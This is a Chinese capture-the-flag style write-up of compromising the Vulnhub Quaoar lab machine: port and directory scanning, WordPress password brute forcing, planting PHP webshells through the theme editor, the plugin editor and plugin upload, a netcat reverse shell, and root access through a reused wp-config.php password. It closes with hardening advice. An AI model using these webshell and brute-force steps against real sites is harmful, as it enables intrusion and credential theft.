Quaoar 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 Quaoar 靶机,靶机名取自柯伊伯带天体。该靶机同时开放 Web、DNS、邮件(POP3/IMAP)与 SMB 等多类服务,核心路径为 WordPress 弱口令登录后通过后台写入 WebShell,再利用配置文件密码复用提权至 root,沿途收集三个 flag。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.168。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
192.168.153.168 00:0c:29:ea:83:7d VMware, Inc.
(二)端口扫描
全端口扫描发现 9 个开放端口:22(SSH)、53(DNS)、80(HTTP)、110/995(POP3/POP3S)、139/445(SMB)、143/993(IMAP/IMAPS),是一台典型的集成 Web、邮件与 SMB 服务的 Ubuntu 主机。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.168
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
993/tcp open imaps
995/tcp open pop3s
┌──(root㉿kali)-[~]
└─# nmap -p22,53,80,110,139,143,445,993,995 192.168.153.168 -sV -sC -O
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.8.1-P1
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-robots.txt: 1 disallowed entry
|_Hackers
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
MAC Address: 00:0C:29:EA:83:7D (VMware)
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>
(三)目录扫描与指纹识别
使用 dirsearch 爆破 Web 目录,发现 /upload/ 与 /wordpress/ 路径;whatweb 识别确认 /wordpress/ 为 WordPress 3.9.14、PHP 5.3.10。
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.168
[19:20:42] 200 - 954B - /README.md
[19:20:42] 200 - 150B - /robots.txt
[19:20:48] 301 - 249B - /upload -> http://192.168.153.168/upload/
[19:20:50] 200 - 1KB - /wordpress/wp-login.php
[19:20:50] 200 - 2KB - /wordpress/
┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.168/wordpress
http://192.168.153.168/wordpress/ [200 OK] Apache[2.2.22], HTML5, JQuery[1.11.0], MetaGenerator[WordPress 3.9.14], PHP[5.3.10-1ubuntu3], Title[Quaoar | Just another WordPress site], WordPress[3.9.14], x-pingback[/wordpress/xmlrpc.php]
三、WordPress 登录爆破
使用 wpscan 枚举用户名得到 admin、wpuser 两个账号;再用 rockyou.txt 字典对 admin 进行密码爆破,命中弱口令 admin/admin。
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.168/wordpress/ -e u
[+] Enumerating Users (via Passive and Aggressive Methods)
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
[+] wpuser
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.168/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - admin / admin
[!] Valid Combinations Found:
| Username: admin, Password: admin
四、后台写入 WebShell 的三种方式
(一)方式一:主题编辑器
登录后台后进入 Appearance → Editor → 404 Template(404.php),在文件开头写入 <?php system('id'); ?> 并保存。

对照主题版本访问 /wordpress/wp-content/themes/twentyfourteen/404.php,命令成功执行,回显 www-data。
http://192.168.153.168/wordpress/wp-content/themes/twentyfourteen/404.php

(二)方式二:插件编辑器
进入 Plugins → Editor,选择任意插件(如 Akismet),在 akismet/index.php 中写入 <?php system('whoami'); ?> 并保存。

访问对应插件文件路径即可执行命令。
http://192.168.153.168/wordpress/wp-content/plugins/akismet/index.php

(三)方式三:上传插件
进入 Plugins → Add New → Upload Plugin,将打包好的 WebShell 插件 zip 上传安装,文件落盘路径为 /wordpress/wp-content/uploads/2026/08/test.php。

访问上传后的 PHP 文件,成功执行 phpinfo 等任意代码。
http://192.168.153.168/wordpress/wp-content/uploads/2026/08/test.php

任选一种方式拿到命令执行后,本地 nc 监听 4444 端口,传入反弹 Shell 命令即可上线,当前权限为 www-data。
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.168] 41906
www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
五、收集三个 flag
(一)flag 1:普通用户家目录
查看 /etc/passwd 发现 wpadmin 用户,进入其家目录读取 flag.txt。
www-data@Quaoar:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh
www-data@Quaoar:$ cd /home/wpadmin
www-data@Quaoar:/home/wpadmin$ ls -la
-rw-r--r-- 1 wpadmin wpadmin 33 Oct 22 2016 flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
2bafe61f03117ac66a73c3c514de796e
(二)flag 2:cron 注释
在 /etc/cron.d 目录下的 php5 文件注释中直接给出第二个 flag。
www-data@Quaoar:$ cd /etc/cron.d
www-data@Quaoar:/etc/cron.d$ cat php5
# /etc/cron.d/php5: crontab fragment for php5
# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && ...
(三)flag 3:配置文件密码复用提权
查看 WordPress 配置文件 wp-config.php,发现数据库使用 root 账号连接且口令为 rootpassword!。直接尝试 su root 切换,密码复用成功,提权至 root 后读取 /root/flag.txt。
www-data@Quaoar:/home/wpadmin$ cd /var/www/wordpress
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
define('DB_HOST', 'localhost');
www-data@Quaoar:/var/www/wordpress$ python -c "import pty;pty.spawn('/bin/bash');"
www-data@Quaoar:/var/www/wordpress$ su root
Password: rootpassword!
root@Quaoar:/var/www/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb
六、总结
Quaoar 靶机的完整攻击链如下:
-
多端口扫描确认目标为集成 Web、邮件、SMB 服务的 Ubuntu 主机,Web 目录暴露 WordPress 3.9.14;
-
wpscan 枚举用户名并用 rockyou 爆破,命中弱口令 admin/admin;
-
后台通过主题编辑器、插件编辑器或上传插件三种方式写入 WebShell,反弹 Shell 获得 www-data 权限;
-
分别从 wpadmin 家目录、/etc/cron.d 注释、wp-config.php 配置中收集三个 flag;
-
利用配置文件中 root 数据库口令复用 su root,直接提权至最高权限。
对应的安全建议:① 及时升级 WordPress、PHP 与系统组件,禁用后台文件编辑器与任意插件上传能力;② 严禁使用 admin/admin 等弱口令,配合登录失败锁定与强口令策略;③ Web 应用连接数据库应使用最小权限专用账号,禁止以 root 运行数据库;④ 家目录、cron 配置等位置不应留存 flag 或敏感信息;⑤ 对对外暴露的多类服务(SMB、邮件、DNS)应做最小化裁剪与访问控制。